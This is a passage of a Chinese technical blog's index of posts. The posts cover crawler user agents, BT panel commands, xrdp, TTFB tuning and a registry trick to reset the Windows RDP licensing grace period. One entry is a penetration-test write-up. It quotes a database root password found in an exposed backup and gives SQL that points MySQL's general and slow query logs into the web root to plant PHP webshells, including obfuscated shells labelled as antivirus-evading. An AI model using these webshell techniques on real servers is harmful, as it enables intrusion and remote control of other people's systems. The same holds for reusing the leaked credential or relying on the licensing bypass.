class="string">Googlebot/2.1;</span> <span class="string">+http://www.google.com/bot.html)</span></span><br></pre></td></tr></table></figure><p>Google图片搜索</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Googlebot-Image/1.0</span></span><br></pre></td></tr></table></figure><p>必应蜘蛛bingbot</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">bingbot/2.0;</span> <span class="string">+http://www.bing.com/bingbot.htm)</span></span><br></pre></td></tr></table></figure><p>雅虎蜘蛛Yahoo<br>  雅虎英文</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">Yahoo!</span> <span class="string">Slurp;</span> <span class="string">http://help.yahoo.com/help/us/ysearch/slurp)</span></span><br></pre></td></tr></table></figure><p>  雅虎中国</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">Yahoo!</span> <span class="string">Slurp</span> <span class="string">China;</span> <span class="string">http://misc.yahoo.com.cn/help.html)</span></span><br></pre></td></tr></table></figure><p>搜狗蜘蛛Sogou News Spider</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Sogou</span> <span class="string">web</span> <span class="string">spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)</span></span><br></pre></td></tr></table></figure><p>搜狗图片</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">http://pic.sogou.com</span> <span class="string">Sogou</span> <span class="string">Pic</span> <span class="string">Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)</span></span><br></pre></td></tr></table></figure><p>360蜘蛛 360Spider</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">MSIE</span> <span class="number">9.0</span><span class="string">;</span> <span class="string">Windows</span> <span class="string">NT</span> <span class="number">6.1</span><span class="string">;</span> <span class="string">Trident/5.0);</span></span><br></pre></td></tr></table></figure><p>360网站安全检测</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">360spider</span> <span class="string">(http://webscan.360.cn)</span></span><br></pre></td></tr></table></figure><p>MSN蜘蛛msnbot-media</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">*msnbot/1.0</span> <span class="string">(+http://search.msn.com/msnbot.htm”)</span></span><br></pre></td></tr></table></figure><p>有道蜘蛛YoudaoBot</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">YoudaoBot/1.0;</span> <span class="string">http://www.youdao.com/help/webmaster/spider/;)</span></span><br></pre></td></tr></table></figure><p>宜搜蜘蛛EasouSpider</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">EasouSpider;</span> <span class="string">+http://www.easou.com/search/spider.html)</span></span><br></pre></td></tr></table></figure><p>七牛</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">qiniu-imgstg-spider-1.0</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 百度蜘蛛 </tag>
            
            <tag> User Agent </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>由于没有远程桌面授权服务器可以提供许可证，远程会话被中断</title>
      <link href="/archives/other/rdp-disconnect-120day-is-end.html"/>
      <url>/archives/other/rdp-disconnect-120day-is-end.html</url>
      
        <content type="html"><![CDATA[<p>问题是因为微软默认的远程登录只提供120天的使用期限。解决该问题的具体步骤如下：</p><ul><li>打开运行,输入“regedit”，</li><li>在注册表对话框中依次打开</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\RCM\GracePeriod</span><br></pre></td></tr></table></figure><ul><li>右键点击“GracePeriod”，在菜单中点击“权限”</li><li>修改“GracePeriod”的权限，administrator勾选完全控制</li><li>右键点击“GracePeriod”，在菜单中点击“删除”</li><li>重启服务器</li></ul>]]></content>
      
      
      
    </entry>
    
    
    
    <entry>
      <title>waiting (TTFB) 时间过长</title>
      <link href="/archives/web/waiting-ttfb.html"/>
      <url>/archives/web/waiting-ttfb.html</url>
      
        <content type="html"><![CDATA[<p>网页的响应时间慢，尤其是高 TTFB（Time to First Byte，首字节时间）通常由多种因素导致。这里有一些可能的原因及对应的解决方法：</p><h3 id="1-服务器处理时间"><a href="#1-服务器处理时间" class="headerlink" title="1. 服务器处理时间"></a>1. 服务器处理时间</h3><p>如果服务器处理请求需要较长时间，这可能是由后端程序效率低下或资源受限造成的。</p><p><strong>解决方法：</strong></p><ul><li><strong>优化代码</strong> ：审查和优化后端代码，包括数据库查询、API调用等。</li><li><strong>增强服务器性能</strong> ：增加服务器的CPU和内存资源，或升级服务器硬件。</li><li><strong>使用缓存</strong> ：对静态内容使用 CDN（内容分发网络），对数据库查询结果或页面使用缓存。</li></ul><h3 id="2-数据库性能问题"><a href="#2-数据库性能问题" class="headerlink" title="2. 数据库性能问题"></a>2. 数据库性能问题</h3><p>数据库查询效率低下也会导致TTFB增高。</p><p><strong>解决方法：</strong></p><ul><li><strong>优化查询</strong> ：优化SQL查询，使用索引，减少数据的冗余和扫描量。</li><li><strong>数据库服务器优化</strong> ：调整数据库配置，增加内存和处理能力。</li></ul><h3 id="3-网络延迟"><a href="#3-网络延迟" class="headerlink" title="3. 网络延迟"></a>3. 网络延迟</h3><p>如果服务器与用户地理位置距离较远或网络环境不佳，也会影响加载时间。</p><p><strong>解决方法：</strong></p><ul><li><strong>使用CDN</strong> ：部署CDN来减少地理距离带来的延迟。</li><li><strong>优化网络设置</strong> ：检查并优化你的网络配置和带宽。</li></ul><h3 id="4-服务器配置"><a href="#4-服务器配置" class="headerlink" title="4. 服务器配置"></a>4. 服务器配置</h3><p>服务器配置不当也可能增加响应时间。</p><p><strong>解决方法：</strong></p><ul><li><strong>查看并优化服务器配置</strong> ：检查Web服务器和数据库服务器的配置。</li><li><strong>启用HTTP&#x2F;2</strong> ：如果可能，启用HTTP&#x2F;2可以显著提高数据传输效率。</li></ul><h3 id="5-第三方服务"><a href="#5-第三方服务" class="headerlink" title="5. 第三方服务"></a>5. 第三方服务</h3><p>如果你的网页依赖于第三方服务（如API或外部数据库），这些服务的延迟也会影响TTFB。</p><p><strong>解决方法：</strong></p><ul><li><strong>监控第三方服务性能</strong> ：确定哪些第三方服务影响了性能，并考虑找寻替代方案或优化调用方式。</li><li><strong>异步加载</strong> ：对于非关键的第三方资源，可以考虑异步加载。</li></ul><h3 id="6-HTTPS-握手延迟"><a href="#6-HTTPS-握手延迟" class="headerlink" title="6. HTTPS 握手延迟"></a>6. HTTPS 握手延迟</h3><p>使用HTTPS的TLS握手可能增加连接建立的时间。</p><p><strong>解决方法：</strong></p><ul><li><strong>TLS 1.3</strong> ：使用支持TLS 1.3的服务器和客户端可以减少握手时间。</li><li><strong>减少重定向</strong> ：减少需要多次HTTPS握手的重定向。</li></ul><p>通过逐步诊断和实施这些策略，可以有效地减少TTFB，从而提升网站的整体性能和用户体验。如果你需要更具体的指导或分析，请提供更多的背景信息，如服务器类型、使用的技术栈等细节</p>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> TTFB </tag>
            
            <tag> 响应慢 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Windows 通过 xrdp 连接 Linux</title>
      <link href="/archives/tools/use-xrdp-connect-linux.html"/>
      <url>/archives/tools/use-xrdp-connect-linux.html</url>
      
        <content type="html"><![CDATA[<p>Kali上面依次安装</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt install tightvncserver</span><br><span class="line">apt install xrdp</span><br></pre></td></tr></table></figure><p>开启防火墙</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ufw allow 3389/tcp</span><br></pre></td></tr></table></figure><p>开启服务</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">service xrdp start</span><br></pre></td></tr></table></figure><p> 无法连接可以查看错误日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/root/.xorgxrdp.10.<span class="built_in">log</span></span><br><span class="line">/root/.xsession-errors</span><br><span class="line">/var/log/xorg.log</span><br><span class="line">/var/log/xrdp-sesman.log</span><br><span class="line">/var/log/massessge</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> xrdp </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>宝塔命令大全</title>
      <link href="/archives/tools/bt-command-detail.html"/>
      <url>/archives/tools/bt-command-detail.html</url>
      
        <content type="html"><![CDATA[<p><a href="https://www.bt.cn/btcode.html">宝塔linux面板命令大全 - 宝塔面板 (bt.cn)</a></p><h2 id="安装宝塔"><a href="#安装宝塔" class="headerlink" title="安装宝塔"></a>安装宝塔</h2><p>Centos安装脚本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">yum install -y wget &amp;&amp; wget -O install.sh http://download.bt.cn/install/install_6.0.sh &amp;&amp; sh install.sh</span><br></pre></td></tr></table></figure><p>Ubuntu&#x2F;Deepin安装脚本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh &amp;&amp; <span class="built_in">sudo</span> bash install.sh</span><br></pre></td></tr></table></figure><p>Debian安装脚本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh &amp;&amp; bash install.sh</span><br></pre></td></tr></table></figure><p>Fedora安装脚本</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget -O install.sh http://download.bt.cn/install/install_6.0.sh &amp;&amp; bash install.sh</span><br></pre></td></tr></table></figure><h2 id="管理宝塔"><a href="#管理宝塔" class="headerlink" title="管理宝塔"></a>管理宝塔</h2><p>宝塔工具箱(包含下列绝大部分功能 直接ssh中执行bt命令 仅限6.x以上版本面板)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">bt</span><br></pre></td></tr></table></figure><p>停止</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/bt stop</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/bt start</span><br></pre></td></tr></table></figure><p>重启</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/bt restart</span><br></pre></td></tr></table></figure><p>卸载</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/bt stop &amp;&amp; chkconfig --del bt &amp;&amp; <span class="built_in">rm</span> -f /etc/init.d/bt &amp;&amp; <span class="built_in">rm</span> -rf /www/server/panel</span><br></pre></td></tr></table></figure><p>查看当前面板端口</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /www/server/panel/data/port.pl</span><br></pre></td></tr></table></figure><p>修改面板端口，如要改成8881（centos 6 系统）</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;8881&#x27;</span> &gt; /www/server/panel/data/port.pl &amp;&amp; /etc/init.d/bt restart</span><br><span class="line">iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 8881 -j ACCEPT</span><br><span class="line">service iptables save</span><br><span class="line">service iptables restart</span><br></pre></td></tr></table></figure><p>修改面板端口，如要改成8881（centos 7 系统）</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;8881&#x27;</span> &gt; /www/server/panel/data/port.pl &amp;&amp; /etc/init.d/bt restart</span><br><span class="line">firewall-cmd --permanent --zone=public --add-port=8881/tcp</span><br><span class="line">firewall-cmd --reload</span><br></pre></td></tr></table></figure><p>强制修改MySQL管理(root)密码，如要改成123456</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /www/server/panel &amp;&amp; python tools.py root 123456</span><br></pre></td></tr></table></figure><p>修改面板密码，如要改成123456</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /www/server/panel &amp;&amp; python tools.py panel 123456</span><br></pre></td></tr></table></figure><p>查看宝塔日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /tmp/panelBoot.pl</span><br></pre></td></tr></table></figure><p>查看软件安装日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /tmp/panelExec.<span class="built_in">log</span></span><br></pre></td></tr></table></figure><p>站点配置文件位置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/panel/vhost</span><br></pre></td></tr></table></figure><p>删除域名绑定面板</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">rm</span> -f /www/server/panel/data/domain.conf</span><br></pre></td></tr></table></figure><p>清理登陆限制</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">rm</span> -f /www/server/panel/data/*.login</span><br></pre></td></tr></table></figure><p>查看面板授权IP</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /www/server/panel/data/limitip.conf</span><br></pre></td></tr></table></figure><p>关闭访问限制</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">rm</span> -f /www/server/panel/data/limitip.conf</span><br></pre></td></tr></table></figure><p>查看许可域名</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /www/server/panel/data/domain.conf</span><br></pre></td></tr></table></figure><p>关闭面板SSL</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">rm</span> -f /www/server/panel/data/ssl.pl &amp;&amp; /etc/init.d/bt restart</span><br></pre></td></tr></table></figure><p>查看面板错误日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /tmp/panelBoot</span><br></pre></td></tr></table></figure><p>查看数据库错误日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /www/server/data/*.err</span><br></pre></td></tr></table></figure><p>站点配置文件目录(nginx)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/panel/vhost/nginx</span><br></pre></td></tr></table></figure><p>站点配置文件目录(apache)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/panel/vhost/apache</span><br></pre></td></tr></table></figure><p>站点默认目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/wwwroot</span><br></pre></td></tr></table></figure><p>数据库备份目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/backup/database</span><br></pre></td></tr></table></figure><p>站点备份目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/backup/site</span><br></pre></td></tr></table></figure><p>站点日志</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/wwwlogs</span><br></pre></td></tr></table></figure><h2 id="Nginx服务管理"><a href="#Nginx服务管理" class="headerlink" title="Nginx服务管理"></a>Nginx服务管理</h2><p>nginx安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/nginx</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/nginx start</span><br></pre></td></tr></table></figure><p>停止</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/nginx stop</span><br></pre></td></tr></table></figure><p>重启</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/nginx restart</span><br></pre></td></tr></table></figure><p>启载</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/nginx reload</span><br></pre></td></tr></table></figure><p>nginx配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/nginx/conf/nginx.conf</span><br></pre></td></tr></table></figure><h2 id="Apache服务管理"><a href="#Apache服务管理" class="headerlink" title="Apache服务管理"></a>Apache服务管理</h2><p>apache安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/httpd</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/httpd start</span><br></pre></td></tr></table></figure><p>停止</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/httpd stop</span><br></pre></td></tr></table></figure><p>重启</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/httpd restart</span><br></pre></td></tr></table></figure><p>启载</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/httpd reload</span><br></pre></td></tr></table></figure><p>apache配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/apache/conf/httpd.conf</span><br></pre></td></tr></table></figure><h2 id="MySQL服务管理"><a href="#MySQL服务管理" class="headerlink" title="MySQL服务管理"></a>MySQL服务管理</h2><p>mysql安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/mysql</span><br></pre></td></tr></table></figure><p>phpmyadmin安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/phpmyadmin</span><br></pre></td></tr></table></figure><p>数据存储目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/data</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/mysqld start</span><br></pre></td></tr></table></figure><p>停止</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/mysqld stop</span><br></pre></td></tr></table></figure><p>重启</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/mysqld restart</span><br></pre></td></tr></table></figure><p>启载</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/mysqld reload</span><br></pre></td></tr></table></figure><p>mysql配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/my.cnf</span><br></pre></td></tr></table></figure><h2 id="FTP服务管理"><a href="#FTP服务管理" class="headerlink" title="FTP服务管理"></a>FTP服务管理</h2><p>ftp安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/pure-ftpd</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/pure-ftpd start</span><br></pre></td></tr></table></figure><p>停止</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/pure-ftpd stop</span><br></pre></td></tr></table></figure><p>重启</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/pure-ftpd restart</span><br></pre></td></tr></table></figure><p>ftp配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/pure-ftpd/etc/pure-ftpd.conf</span><br></pre></td></tr></table></figure><h2 id="PHP服务管理"><a href="#PHP服务管理" class="headerlink" title="PHP服务管理"></a>PHP服务管理</h2><p>php安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/php</span><br></pre></td></tr></table></figure><p>启动(请根据安装PHP版本号做更改，例如：&#x2F;etc&#x2F;init.d&#x2F;php-fpm-54 start)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/php-fpm-&#123;52|53|54|55|56|70|71|72|73|74&#125; start</span><br></pre></td></tr></table></figure><p>停止(请根据安装PHP版本号做更改，例如：&#x2F;etc&#x2F;init.d&#x2F;php-fpm-54 stop)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/php-fpm-&#123;52|53|54|55|56|70|71|72|73|74&#125; stop</span><br></pre></td></tr></table></figure><p>重启(请根据安装PHP版本号做更改，例如：&#x2F;etc&#x2F;init.d&#x2F;php-fpm-54 restart)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/php-fpm-&#123;52|53|54|55|56|70|71|72|73|74&#125; restart</span><br></pre></td></tr></table></figure><p>启载(请根据安装PHP版本号做更改，例如：&#x2F;etc&#x2F;init.d&#x2F;php-fpm-54 reload)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/php-fpm-&#123;52|53|54|55|56|70|71|72|73|74&#125; reload</span><br></pre></td></tr></table></figure><p>配置文件(请根据安装PHP版本号做更改，例如：&#x2F;www&#x2F;server&#x2F;php&#x2F;52&#x2F;etc&#x2F;php.ini)</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/php/&#123;52|53|54|55|56|70|71|72|73|74&#125;/etc/php.ini</span><br></pre></td></tr></table></figure><h2 id="Redis服务管理"><a href="#Redis服务管理" class="headerlink" title="Redis服务管理"></a>Redis服务管理</h2><p>redis安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/redis</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/redis start</span><br></pre></td></tr></table></figure><p>停止</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/redis stop</span><br></pre></td></tr></table></figure><p>redis配置文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/www/server/redis/redis.conf</span><br></pre></td></tr></table></figure><h2 id="Memcached服务管理"><a href="#Memcached服务管理" class="headerlink" title="Memcached服务管理"></a>Memcached服务管理</h2><p>memcached安装目录</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/usr/local/memcached</span><br></pre></td></tr></table></figure><p>启动</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/memcached start</span><br></pre></td></tr></table></figure><p>停止</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/memcached stop</span><br></pre></td></tr></table></figure><p>重启</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/memcached restart</span><br></pre></td></tr></table></figure><p>启载</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/etc/init.d/memcached reload</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 宝塔 </tag>
            
            <tag> 宝塔命令 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>手机修改hosts文件</title>
      <link href="/archives/security/modify-phone-hosts.html"/>
      <url>/archives/security/modify-phone-hosts.html</url>
      
        <content type="html"><![CDATA[<p>手机hosts文件位于&#x2F;system&#x2F;etc&#x2F;hosts 直接修改会提示只读文件系统，即使获得root权限。</p><p>方法:</p><p>刷过twrp的，重启进入”恢复模式”，”挂载” 勾选system，返回后进入 “高级”，里面有命令，因为没有vi之类的，所以直接echo写内容到hosts</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;127.0.0.1 hao.kim&quot;</span> &gt;&gt; /system/etc/hosts</span><br></pre></td></tr></table></figure><p>内容这样就写入hosts，重启手机就可以按预期访问</p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 修改hosts </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>mysql写入php一句话</title>
      <link href="/archives/security/random-pentest-4.html"/>
      <url>/archives/security/random-pentest-4.html</url>
      
        <content type="html"><![CDATA[<p>漏洞</p><ol><li><p>目录浏览，phpinfo，</p></li><li><p>phpmyadmin 写shell</p></li></ol><p>目标存在phpmyadmin，又因为目录浏览，看到网站备份的压缩文件，下载以后查找数据库用户密码，找到</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">root：fhcloud_2018</span></span><br></pre></td></tr></table></figure><p>登录phpmyadmin，</p><p><code>getshell</code></p><ol><li><p>想通过写入文件获得webshell，但是查询到导出路径为NULL，遂想通过日志来getshell<br><img src="https://images.hao.kim/uploads/2024/08/1724074231195.png" alt="图 0">  </p></li><li><p>通过慢查询日志getshell，开启慢查询日志记录，通过phpinfo提供路径，进行log查询写入</p></li></ol><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">show</span> variables <span class="keyword">like</span> <span class="string">&#x27;%slow_query_log%&#x27;</span>;</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/1724074278039.png" alt="图 1"><br>开启慢查询日志记录</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">set</span> <span class="keyword">GLOBAL</span> slow_query_log<span class="operator">=</span><span class="keyword">on</span>;</span><br></pre></td></tr></table></figure><p>通过phpinfo得知，web目录为C:\phpStudy\WWW\log.php，所以设置日志路径</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">set</span> <span class="keyword">GLOBAL</span> slow_query_log_file<span class="operator">=</span><span class="string">&#x27;C:\\phpStudy\\WWW\\log2.php&#x27;</span>;</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/1724074334618.png" alt="图 2">  </p><p>基于日志写shell #<br>（ outfile被禁止，或者写入文件被拦截，没写权限 ，有root权限）</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">show</span> variables <span class="keyword">like</span> <span class="string">&#x27;%general%&#x27;</span>; <span class="comment">--查看配置，日志是否开启，和mysql默认log地址(记下原地址方便恢复)</span></span><br><span class="line"><span class="keyword">set</span> <span class="keyword">global</span> general_log <span class="operator">=</span> <span class="keyword">on</span>; <span class="comment">--开启日志监测，默认关闭(如果一直开文件会很大的)</span></span><br><span class="line"><span class="keyword">set</span> <span class="keyword">global</span> general_log_file <span class="operator">=</span> <span class="string">&#x27;/var/www/html/info.php&#x27;</span>; <span class="comment">--设置日志路径</span></span><br><span class="line"><span class="keyword">select</span> <span class="string">&#x27;&lt;?php phpinfo();?&gt;&#x27;</span>; <span class="comment">--执行查询，写入shell</span></span><br><span class="line"><span class="comment">--结束后，恢复日志路径，关闭日志监测</span></span><br><span class="line"></span><br><span class="line"><span class="comment">--SQL查询免杀shell</span></span><br><span class="line"><span class="keyword">select</span> &quot;&lt;?php $sl = create_function(&#x27;&#x27;, @$_REQUEST[&#x27;klion&#x27;]);$sl();?&gt;&quot;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> &quot;&lt;?php $p = array(&#x27;f&#x27;=&gt;&#x27;a&#x27;,&#x27;pffff&#x27;=&gt;&#x27;s&#x27;,&#x27;e&#x27;=&gt;&#x27;fffff&#x27;,&#x27;lfaaaa&#x27;=&gt;&#x27;r&#x27;,&#x27;nnnnn&#x27;=&gt;&#x27;t&#x27;);$a = array_keys($p);$_=$p[&#x27;pffff&#x27;].$p[&#x27;pffff&#x27;].$a[2];$_= &#x27;a&#x27;.$_.&#x27;rt&#x27;;$_(base64_decode($_REQUEST[&#x27;username&#x27;]));?&gt;&quot;;</span><br><span class="line"></span><br><span class="line"><span class="comment">---------------</span></span><br><span class="line"><span class="comment">--慢查询写shell</span></span><br><span class="line"><span class="comment">---------------</span></span><br><span class="line">为什么要用慢查询写呢？上边说过开启日志监测后文件会很大，网站访问量大的话我们写的shell会出错</span><br><span class="line"><span class="keyword">show</span> variables <span class="keyword">like</span> <span class="string">&#x27;%slow_query_log%&#x27;</span>; <span class="comment">--查看慢查询信息</span></span><br><span class="line"><span class="keyword">set</span> <span class="keyword">global</span> slow_query_log<span class="operator">=</span><span class="number">1</span>;  <span class="comment">--启用慢查询日志(默认禁用)</span></span><br><span class="line"><span class="keyword">set</span> <span class="keyword">global</span> slow_query_log_file<span class="operator">=</span><span class="string">&#x27;C:\\phpStudy\\WWW\\shell.php&#x27;</span>; <span class="comment">--修改日志文件路径</span></span><br><span class="line"><span class="keyword">select</span> <span class="string">&#x27;&lt;?php @eval($_POST[abc]);?&gt;&#x27;</span> <span class="keyword">or</span> sleep(<span class="number">11</span>);  <span class="comment">--写shell</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 目录浏览 </tag>
            
            <tag> mysql写一句话 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>安全相关站点</title>
      <link href="/archives/security/security-web.html"/>
      <url>/archives/security/security-web.html</url>
      
        <content type="html"><![CDATA[<table><thead><tr><th>名称</th><th>地址</th></tr></thead><tbody><tr><td>狼组安全团队公开知识库</td><td><code>https://wiki.wgpsec.org/knowledge/</code></td></tr><tr><td></td><td></td></tr></tbody></table>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 安全知识站点 </tag>
            
            <tag> 安全讯息 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>VMware 因为系统更新 启动提示没有GCC</title>
      <link href="/archives/tools/vmware-not-found-gcc.html"/>
      <url>/archives/tools/vmware-not-found-gcc.html</url>
      
